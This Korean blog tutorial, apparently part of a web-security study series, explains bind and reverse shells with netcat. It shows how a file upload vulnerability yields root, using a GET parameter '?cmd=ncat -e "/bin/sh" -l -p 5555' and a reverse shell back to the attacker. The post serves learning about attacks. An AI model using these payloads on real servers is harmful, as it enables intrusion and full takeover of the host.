예제
원격 쉘( Remote Shell )이란 흔히 사용하는 putty 역시 원격 쉘이라고 볼수있다.
쉽게 명령어를 사용하기 위해서 사용하는 툴 이라고 생각하면 된다. 이런 방식을 이용하여 파일 업로드의 취약점으로
서버측의 root 계정을 강탈 할수있다.
1) 바인드 쉘 ( bind shell )
- 흔히 정방향 쉘 이라고 한다.
- 서버측에 접속을 하는방식이다.
2) 리버스 쉘 ( reverse shell )
- 역방향 쉘
- 서버측에 보안 ( 방화벽 ) 이 있을 경우에 사용하는 방식이다.
- 말 그대로 서버측에서 클라이언트에 쉘 접속을 하는 방법
일단 원격 쉘을 이용하려면 서버측과 클라이언트 측을 연결시켜주는 유틸리티가 필요하다.
여러가지 유틸중에 리눅스에서 사용을 많이하는 netcat을 이용해보도록 해보자.
#>yum install nmap.i686 명령어를 사용하여 다운
리눅스( 서버)에 다운을 받았으면 내 피씨 (공격자,클라이언트) 에도 netcat을 다운 받도록하자.
다운후 cmd 를 이용하여 실행
-l, --listen Bind and listen for incoming connections // 연결
-p, --source-port port Specify source port to use // 사용할 포트 지정
리눅스
#> ncat -l -p (포트)
그럼 클라이언트 측에서는 서버측 IP 와 포트로 접속 하면
내가쓰는 글이 공유가된다.
이번엔 저번시간에 했던 get 방식으로 명령어를 넘긴것을 이용하여 원격쉘을 실행시켜 root 를 탈취해보자!
바인드 쉘 방법
-e, --exec <command> Executes the given command
// 주어진 명령어를 실행 "/bin/sh" 을 실행시켜 명령어 사용
?cmd=ncat -e "/bin/sh" -l -p 5555
명령어를 넘겨서 ncat을 실행시켜준다.
그럼 위와같이 완료된 페이지가 나오는 것이 아니라 계속 실행중인 것을 확인
그후에 다시 연결을 해주고 명령어를 사용해주면
명령어가 먹히는 것을 알 수있다 ( -e 명령어 덕분 )
리버스쉘 방법
\
리버스 쉘은 바인드 쉘가 다르게 서버측에서 클라이언트로 연결을 하는 방식
즉 클라이언트 ( 내 IP ) 를 알아낸다.
그리고 내가 연결을 할수 있도록 포트 5555 으로 리스닝 상태로 실행!
(현재 연결되기 기다리는 상태 )
역시 ncat -e "/bin/sh" 명령어와 ,IP 주소 (클라이언트) , 포트번호
를 넘겨주어 연결을 시켜준다.
그럼 위와같이 연결이 된것을 확인!!!
이런식으로 파일 업로드의 취약점이 얼마나 위험한 취약점인지 알수 있었다.
'WEB_Security' 카테고리의 다른 글
18. SQL Injection 취약점 (0) | 2017.06.05 |
---|---|
17. 파일 다운로드 취약점 ( PHP ) (0) | 2017.06.02 |
15. PHP 파일 업로드 취약점 (0) | 2017.05.31 |
14. CSRF (0) | 2017.05.30 |
13. GET,POST 취약점 (0) | 2017.05.30 |
댓글